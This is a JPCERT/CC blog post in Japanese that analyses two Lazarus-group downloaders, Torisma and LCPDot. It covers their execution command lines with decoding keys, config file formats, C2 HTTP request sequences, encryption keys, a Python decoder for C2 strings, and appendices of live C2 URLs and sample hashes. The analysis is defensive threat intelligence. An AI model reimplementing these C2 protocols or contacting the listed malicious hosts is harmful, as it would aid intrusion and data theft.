攻撃グループLazarusによる攻撃オペレーション

これまでJPCERT/CC Eyesでは、攻撃グループLazarus(Hidden Cobraとも言われる)が使用するマルウェアについて複数紹介しています。この攻撃グループは攻撃時にさまざまな種類のマルウェアを使用することが知られています。今回は、攻撃グループLazarusが攻撃時に使用するマルウェアを2つ(TorismaおよびLCPDot)紹介します。

Torismaの概要

Torismaは、外部からモジュールをダウンロードして実行するダウンローダータイプのマルウェアです。このマルウェアは、不正なWord文書を使用して感染を広げることが確認されています[1]。JPCERT/CCで確認しているTorismaは、DLLファイルでありrundll32.exeの引数として実行されます。以下は、Torismaが実行される際のコマンド引数の一例です。

"C:\Windows\System32\rundll32.exe" C:\ProgramData\USOShared\usosqlite3.dat,sqlite3_create_functionex mssqlite3_server_management jp-JP

Export関数(この例では、sqlite3_create_functionex)の後に、内部のデータをデコードするためのキー(mssqlite3_server_management)を引数として与えることで、このマルウェアは不審な挙動を示します。以降では、Torismaの設定情報、通信方式およびダウンロードするモジュールについて記載します。

Torismaの設定情報

Torismaは、通信先などの情報をファイルから読み込みます。以下は、Torismaの設定情報が保存されているファイルの保存先です(なお、設定情報ファイルを読み込まない検体も存在します)。

  • %LOCALAPPDATA%.IdentityService\AccountStore.bak

設定情報ファイルの先頭には、12バイトのシグネチャ(0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE)が存在し、その値が一致したファイルのみ、設定情報としてマルウェア実行時に読み込まれます。図1は設定情報の例です。

Torismaの設定情報の例
図1: Torismaの設定情報の例

設定情報内には、通信先などの情報が含まれています(設定情報について、詳しくはAppendix Aをご覧ください)。

TorismaのC2サーバーとの通信

以下は、Torismaが初めに送信するHTTP POSTリクエストの例です。

POST /[PATH] HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: Keep-Alive
Content-Length: [Length]
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: [Server]
Cache-Control: no-cache

ACTION=VIEW&PAGE=[MAC Address]&CODE=[ランダムな数字]&CACHE=[Base64 データ]REQUEST=[ランダムな数字]

[Base64データ]には、通信先URLやMACアドレスなどが含まれています(送信するデータのフォーマットについて詳しくは、Appendix Bをご覧ください)。このHTTP POSTリクエストに対して、以下のレスポンスがサーバーから返信された場合、Torismaは次のリクエストを送信します。

Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}

次に送信するHTTP POSTリクエストは以下のとおりです。

POST /[PATH] HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: Keep-Alive
Content-Length: [Length]
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: [Server]
Cache-Control: no-cache

ACTION=PREVPAGE&CODE=C[ランダムな数字]&RES=[ランダムな数字]

このリクエストのレスポンスとしてサーバーからは、暗号化およびBase64エンコード("+"がスペースに変換されている)されたモジュールがダウンロードされます。Torismaは、暗号化にVEST-32[2]というアルゴリズムを使用しています。JPCERT/CCで確認した検体では、暗号化キーにはすべて”ff7172d9c888b7a88a7d77372112d772”が使用されていました(図2参照)。なお、この暗号化は設定情報に含まれる通信先情報の暗号化にも使用されています。

Torisma のVEST-32暗号化に使用するキー
図2: Torisma のVEST-32暗号化に使用するキー

Torismaモジュール

Torismaは、追加のモジュールをダウンロードして実行することで、さまざまな動作を行うことが可能です。ダウンロードされるモジュールは、PEフォーマット形式ではなく、図3のような実行可能なコードです。

Torismaモジュールのコード例
図3: Torismaモジュールのコード例

JPCERT/CCでは、攻撃時に複数のモジュールが使用されていることを確認しています。以下は、確認しているモジュールの機能です。

  • 感染ホストの情報送信
  • 特定ファイルの実行

LCPDotの概要

LCPDotも、Torismaと同様に外部からモジュールをダウンロードして実行するダウンローダータイプのマルウェアです。確認した検体の中には、VMProtectで難読化されたものもありました。このマルウェアは、Torisma感染後にネットワーク内部に感染を広げる際に使用されたと考えられます。JPCERT/CCで確認している検体は、以下のオプションを実行時に与えることで不審な挙動を示します。

  • -p: RC4暗号化キー
  • -s: Base64エンコードされた通信先

以下、オプションを指定して実行した際の例です。

"C:\Windows\System32\cmd.exe" /c C:\ProgramData\Adobe\Adobe.bin -p 0x53A4C60B

以降では、LCPDotの設定情報、通信方式について記載します。

LCPDot のC2サーバーとの通信

以下は、LCPDotが初めに送信するHTTP POSTリクエストの例です。

POST /[URL] HTTP/1.1
Accept: text/html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=[Base64 data]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [Host]
Content-Length: [Size]
Connection: Keep-Alive
Cache-Control: no-cache

Cookie=Enable&CookieV=[ランダムな数字列]&Cookie_Time=64

[Base64 data]には、“[ID]-101010"をエンコードした値が含まれています([ID]は、以降の通信でも同一の値が使用されます)。このHTTP POSTリクエストに対して、以下のレスポンスがサーバーから返信された場合、LCPDotは次のリクエストを送信します。

Authentication Success

次にLCPDotは、以下のHTTP GETリクエストを送信します。

GET /[URL] HTTP/1.1
Accept: text/html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=[Base64 data]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [Host]
Content-Length: [Size]
Connection: Keep-Alive
Cache-Control: no-cache

[Base64 data]には、“[ID]-101011"をエンコードした値が含まれています。このレスポンスとして、RC4暗号化されたモジュールがダウンロードされます。暗号化キーは、検体内または実行時のオプション-pで指定した値をSHA1ハッシュ値に変換した値が使用されます。
今回、モジュールが入手できなかったため、モジュールの機能については不明ですが、モジュール実行後の通信では、送信データをGIF画像に偽装して送信する機能などがあることを確認しています(図4)。

LCPDotの送信データをGIF画像に偽装するコード
図4: LCPDotの送信データをGIF画像に偽装するコード

LCPDotの設定情報

LCPDotは通信先情報を、検体内に保持しています(実行時のオプション-sで指定する場合もあり)。通信先情報は、XOR+Base64エンコードされています。以下は、エンコードされた通信先をデコードするPythonスクリプトの例です。

decoed_base64_data = base64.b64decode(encode_data)

for i in decoed_base64_data:
    print chr(((ord(i) ^ 0x25) - 0x7a))

LCPDotは、この通信先を含む設定データをファイルに保存します。保存するファイルのファイルパスは複数のパターンがあることを確認しています。以下は、ファイルパスの例です。

  • %TEMP%¥..¥Thumbnails.db
  • %TEMP%¥..¥ntuser.log1

設定ファイルのデータは、RC4暗号化されており、暗号化キーは、検体内または実行時のオプション-pで指定した値をSHA1ハッシュ値に変換した値が使用されます。図5は、復号した設定データの例です。

復号した設定データの例
図5: 復号した設定データの例

おわりに

今回は、攻撃グループLazarusがネットワークへの侵入時および侵入後に使用するマルウェアについて紹介しましたが、これ以外にもさまざまなマルウェアが確認されています。新たなマルウェアが確認された際は、レポートしたいと思います。
なお、今回解説した検体の通信先に関しては、Appendix Cに記載していますので、アクセスしている端末がないかご確認ください。

インシデントレスポンスグループ 朝長 秀誠

参考情報

[1]McAfee: Operation North Star: Behind The Scenes
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/

[2]ECRYPT: VEST
https://www.ecrypt.eu.org/stream/vest.html

Appendix A:Torismaの設定情報

表 A-1:設定情報の一覧
オフセット 説明 備考
0x000 シグネチャ 0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE
0x00d 時間
0x011 -
0x015 ドライブチェック時間
0x01D スリープ時間
0x021 通信先 * 6 サイズ0x202 (VEST-32で暗号化)
0xC2D 通信先のサイズ * 6 サイズ0x4
0xC45 ディスクドライブフラグ ディスクドライブ数をカウントするか
0xC49 WTSActiveフラグ ログオンユーザー数をカウントするかどうか
0xC4D ID

Appendix B:Torismaの送信データの内容

表 B:送信データフォーマット
オフセット 長さ 内容
0x000 0x400 URL
0x400 0x18 感染ホストのMACアドレス
0x418 0xC ランダムな文字列
0x424 8 ID
0x434 4 数値
0x438 4 "2"

Appendix C:通信先

  • https://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
  • https://www.fabianiarte.com/newsletter/arte/view.asp
  • https://www.scimpex.com/admin/assets/backup/requisition/requisition.php
  • https://akramportal.org/public/voice/voice.php
  • https://inovecommerce.com.br/public/pdf/view.php
  • https://www.index-consulting.jp:443/eng/news/index.php
  • http://kenpa.org/yokohama/main.php
  • https://vega.mh-tec.jp:443/.well-known/index.php
  • http://www.hirokawaunso.co.jp/wordpress/wp-includes/ID3/module.audio.mp4.php
  • https://ja-fc.or.jp/shop/shopping.php
  • https://www.leemble.com/5mai-lyon/public/webconf.php
  • https://www.tronslog.com/public/appstore.php
  • https://mail.clicktocareers.com/dev_clicktocareers/public/mailview.php

Appendix D:マルウェアのハッシュ値

Torisma
  • 9ae9ed06a69baa24e3a539d9ce32c437a6bdc136ce4367b1cb603e728f4279d5
  • f77a9875dbf1a1807082117d69bdbdd14eaa112996962f613de4204db34faba7
  • 7762ba7ae989d47446da21cd04fd6fb92484dd07d078c7385ded459dedc726f9
LCPDot
  • 0c69fd9be0cc9fadacff2c0bacf59dab6d935b02b5b8d2c9cb049e9545bb55ce
  • a9334efa9f40a36e7dde7ef1fe3018b2410cd9de80d98cf4e3bb5dd7c78f7fde
  • ba57f8fcb28b7d1085e2e5e24bf2a463f0fa4bbbeb3f634e5a122d0b8dbb53cc
≪ 前へ
トップに戻る
次へ ≫